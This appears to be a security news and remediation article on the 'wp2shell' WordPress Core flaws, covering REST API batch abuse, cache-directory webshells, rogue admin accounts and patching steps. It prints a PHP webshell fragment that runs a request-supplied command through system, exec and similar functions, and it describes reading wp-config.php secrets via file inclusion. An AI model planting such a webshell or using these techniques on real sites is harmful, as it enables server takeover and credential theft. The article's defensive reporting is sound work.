Threat actors don't wait around for administrators to schedule maintenance windows. On July 17, 2026, automated scanners began hammering WordPress sites worldwide, targeting a paired flaw set dubbed the "wp2shell" vulnerability suite. Tracked as CVE-2026-63030 and CVE-2026-60137, this zero-day pair lets unauthenticated remote attackers execute arbitrary PHP code directly on vulnerable servers.
Telemetry reported by BleepingComputer shows that proof-of-concept exploits surfaced within hours of public disclosure by cyber risk firm SearchLight Cyber. Threat actors didn't hesitate. Mass scanning and active exploitation escalated almost instantaneously across unpatched endpoints.
Unpacking the wp2shell Exploit Chain in WordPress Core
The underlying vulnerability sits deep inside WordPress Core's REST API batch-processing routine. A logical validation flaw allows remote requests to execute without proper authentication checks.
Data from WordPress security firm Defiant captured the initial attack telemetry. The very first probing request landed at 23:29 UTC on July 17, 2026. Just 13 minutes later, attackers launched a crafted SQL injection payload to test target susceptibility before attempting file writes.
SearchLight Cyber researcher Adam Kues revealed that pinpointing the exploit path relied heavily on modern AI tooling. By feeding internal core handlers into automated analysis engines, researchers—and subsequently threat actors—rapidly mapped unauthenticated code execution paths. This speed highlights a critical operational shift: zero-day vulnerabilities move from initial discovery to active weaponization far faster than traditional security teams can review incoming advisories.
How REST API Batch Abuse Fuels AI Cybersecurity Threats
Attackers aren't running manual scans anymore. They build agentic discovery scripts that execute multi-stage recon and exploitation routines in seconds. In 2026, artificial intelligence ai cybersecurity is a double-edged sword. While security teams deploy AI agent security models to monitor API traffic, attackers leverage automated discovery engines to find unpatched endpoints—a pattern mirroring real-world AI cybersecurity threats.
Cloud security vendor Wiz documented extensive active exploitation across enterprise hosting environments. Attackers leverage batch API processing to execute complex attack chains in a single payload:
- Mass Reconnaissance: Querying REST API endpoints to harvest administrator usernames, site metadata, and contact email addresses.
- Malicious Plugin Uploads: Exploiting plugin installation hooks to register custom PHP add-ons carrying persistent backdoors.
- Credential Harvesting via LFI: Initiating local file inclusion (LFI) attempts against
admin-ajax.phpto extract database passphrases and auth keys fromwp-config.php. - Remote Command Execution Endpoints: Deploying lightweight helper plugins that expose custom REST API routes dedicated to executing arbitrary shell commands.
Industry threat reports from leaders like IBM emphasize that API batch processing has become a primary target for initial access. Bundling multiple batch calls into a single HTTP POST request lets attackers bypass basic web application firewall (WAF) rate limits while quietly compromising the underlying host.
Post-Exploitation Tactics: Webshells, Admin Accounts, and File Inclusion
Once attackers breach a WordPress instance via wp2shell, establishing persistent access is their immediate priority. Analysis from Johannes B. Ullrich at the SANS Technology Institute offers detailed insight into post-breach activity in the wild.
In most recorded intrusions, threat actors drop PHP webshells directly into the /wp-content/cache/ directory. They pick this directory specifically because system administrators rarely inspect temporary cache folders for rogue executable code.
// Example structure of webshell execution checks observed in active attacks
$func_list = ['system', 'passthru', 'exec', 'shell_exec', 'popen'];
foreach ($func_list as $func) {
if (function_exists($func)) {
// Execute inbound command payload
$func($_REQUEST['cmd']);
break;
}
}
To evade automated directory scanners, attackers assign randomized filenames to these cache-resident scripts. That randomized string doubles as an authentication key. If an HTTP request touches the script without providing the exact key variable in the URL, the web server returns a deceptive 404 page. When a valid request hits the webshell, the PHP snippet checks whether functions like system(), passthru(), exec(), shell_exec(), or popen() are enabled before firing off shell commands.
At the same time, attackers frequently insert rogue administrator accounts into the WordPress database. Even if defenders discover and delete the cached webshell, the attacker retains full administrative control over the site through legit credentials.
Securing WordPress Deployments: Remediation Tutorial and Best Practices
WordPress Core maintainers pushed emergency security updates across all supported release branches. Security teams must ensure their installations run version 7.0.2, 6.9.5, or 6.8.6 without delay.
Macnica researcher Yutaka Sejiyama constructed a live tracking dashboard to measure update adoption. Out of a broad sample of 124,580 evaluated sites, approximately 81.6% applied the patch. That leaves over 18% of sampled sites completely exposed to automated takeover.
Here is a complete step-by-step tutorial for auditing, cleaning, and securing your WordPress installation:
Step 1: Execute a Complete Version Audit
Verify your active WordPress Core build immediately. If auto-updates are disabled in wp-config.php, run a manual update via WP-CLI:
wp core update
Step 2: Audit the Cache Directory
Inspect /wp-content/cache/ for suspicious .php files. Default WordPress setups never place executable PHP files inside the cache directory. If you find unknown PHP files, isolate them for forensic analysis and purge them immediately.
Step 3: Review Admin Users and Active Plugins
Navigate to Users > All Users inside your WordPress dashboard and filter by the Administrator role. Check for unknown accounts or anomalous email domains. Next, check /wp-content/plugins/ for unrecognized directories or newly activated plugins like CMSmap variants.
Step 4: Examine Server Access Logs
Scan your HTTP server logs for unusual traffic targeting REST API batch endpoints and admin-ajax.php. Look for requests referencing wp-config.php or high-frequency POST payloads carrying JSON batch parameters.
Step 5: Implement Defense-in-Depth Measures
Follow operational guidance from Cybersecurity Best Practices | Cybersecurity and Infrastructure ... - CISA to harden your hosting layer. Disable line-level file editing inside WordPress by appending define('DISALLOW_FILE_EDIT', true); to wp-config.php. Block PHP execution inside uploads and cache folders using .htaccess or Nginx location blocks.
Defending web applications against rapidly accelerating AI threats demands continuous monitoring as organizations transition from traditional perimeter defense to AI-native security. Combining prompt core patching with strict file integrity checks ensures your web infrastructure stays resilient against aggressive automated exploit chains.
